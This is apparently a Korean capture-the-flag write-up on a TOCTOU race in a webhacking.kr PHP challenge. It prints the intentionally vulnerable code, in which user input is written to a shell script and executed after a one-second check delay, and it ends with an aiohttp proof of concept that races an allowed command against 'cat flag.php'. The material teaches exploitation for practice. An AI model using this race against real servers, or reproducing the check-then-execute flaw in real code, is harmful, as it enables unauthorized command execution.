
서론
TOCTOU(Time-Of-Check to Time-Of-Use)는 레이스 컨디션 공격의 한 종류다. 이름 그대로 어떤 대상을 검사한 시점과, 그 대상을 실제로 사용하는 시점 사이의 시간차를 노린다.
전형적인 흐름은 다음과 같다.
- 파일이 안전한지 검사한다.
- 검사 결과를 바탕으로 작업을 준비한다.
- 파일을 실제로 열거나 실행한다.
문제는 1번과 3번 사이에 아무리 짧더라도 시간차가 존재한다는 점이다. 공격자가 그 틈에 파일을 바꿔치기하면, 프로그램은 자신이 검사했던 대상이 아니라 검사 이후 변경된 대상을 사용하게 된다. 아래 코드를 보자.
<?php // system($_GET['q']); if(!preg_match('/^[a-f0-9]+$/',$_COOKIE['baby_toctou'])){ $newCookie = uniqid().rand(1,999999999); setcookie("baby_toctou",$newCookie); $_COOKIE['baby_toctou'] = $newCookie; } $cmd = $_GET['q']; $myfile = fopen("user/{$_COOKIE['baby_toctou']}.sh", "w") or die("Unable to open file!"); fwrite($myfile, $cmd); fclose($myfile); if(($cmd === "ls") || ($cmd === "cat api.php") || ($cmd === "cat index.php")){ // valid check sleep(1); // my server is small and weak system("sh ./user/{$_COOKIE['baby_toctou']}.sh"); } else{ echo <<<HELP only "ls", "cat api.php", "cat index.php" allowed HELP; } ?>
출처: webhacking.kr:10019 (baby toctou🍼)
코드 분석
이 코드는
baby_toctou 쿠키값을 기준으로 쉘 파일을 만든 뒤, 사용자의 입력을 검증해 ls, cat api.php, cat index.php만 허용한다.if(($cmd === "ls") || ($cmd === "cat api.php") || ($cmd === "cat index.php")) ...
이때
{$_COOKIE['baby_toctou']}.sh 파일을 읽고 쓰는 흐름을 유심히 살펴볼 필요가 있다.우선 아래와 같이 평범하게 쓰기(
w) 모드로 쉘 파일을 생성한다.$myfile = fopen("user/{$_COOKIE['baby_toctou']}.sh", "w") or die("Unable to open file!");
그 뒤
$cmd 변수의 값을 쉘 파일에 집어넣는다.fwrite($myfile, $cmd);
그렇다면 위험한 명령어(
cat flag.php → ls를 통해 존재 자체는 확인 가능)를 보내면 어떻게 될까? 놀랍게도 아직 검증이 이루어지지 않았음을 명심해야 한다. 검증은 이후에 이루어진다.검증하는 동안 무책임한 1초의 휴식(
sleep(1);)을 가진 뒤 만들어 뒀던 쉘을 실행한다.system("sh ./user/{$_COOKIE['baby_toctou']}.sh");
자, 이제 누가 봐도 저 황금 같은 1초 동안 공격을 수행해야 한다는 것을 눈치챌 수 있다.
무엇을 바꿔치기할 것인가
이미 서버로 쿠키값과 명령어를 보내놓았는데, 중간에 무엇을 변경할 수 있을까? 여기서 많은 의문이 들 수 있다. 하지만 곰곰이 생각해보면 바꿀 수 있는 것은 딱 하나다. 바로
baby_toctou 쿠키값을 이름으로 사용하는 쉘 파일이다. 쉘 파일의 내용은 사용자의 쿼리에 따라 바뀐다. 그리고 어떤 요청이 if문을 통과했다면, 1초 뒤 해당 파일은 확정적으로 실행된다. 즉, baby_toctou 쿠키를 고정한 상태로 요청을 여러 번 보내면 동일한 쉘 파일의 내용을 계속 바꿀 수 있다. 그렇다면, 어떤 순서로 요청을 보내야 허용되지 않은 명령어가 실행될까? 답은 생각보다 간단하다.공격 순서
우선
if문을 통과해야 쉘 파일이 실행되므로, 정상 요청을 먼저 보낸다.r1 = session.get( url=BASE_URL, params={"q": "ls"}, cookies={"baby_toctou": baby_toctou}, )
이 요청은 쉘 파일에
ls를 기록한 뒤 검증을 통과하고, sleep(1)에서 1초 동안 대기한다.그 1초 사이에 동일한 쿠키값으로 두 번째 요청을 보낸다.
r2 = session.get( url=BASE_URL, params={"q": "cat flag.php"}, cookies={"baby_toctou": baby_toctou}, )
이 요청은 동일한 쉘 파일을
w 모드로 열어 기존의 ls를 지우고, 그 자리에 cat flag.php를 기록한다.물론 두 번째 요청은 검증을 통과하지 못한다. 하지만 실패해도 상관없다. 왜냐하면
r1은 이미 검증을 통과했고, 1초 뒤 쉘 파일을 실행할 것이기 때문이다. r2의 역할은 명령어를 실행하는 것이 아니라, r1이 실행할 쉘 파일의 내용을 바꾸는 것이다.파이썬의
requests는 동기 요청이기 때문에, 1초를 정직하게 기다린다. 이를 해결하기 위해 aiohttp 기반 비동기 요청을 구성했다.PoC
import asyncio import aiohttp BASE_URL = "<URL>" baby_toctou = "<yr cookie>" async def main(): async with aiohttp.ClientSession() as session: r1 = session.get(url=BASE_URL, params={"q":"ls"}, cookies={"<yr cookie>":baby_toctou} ) r2 = session.get(url=BASE_URL, params={"q":"cat flag.php"}, cookies={"<yr cookie>":baby_toctou} ) r1, r2 = await asyncio.gather(r1, r2) print(await r1.text()); asyncio.run(main())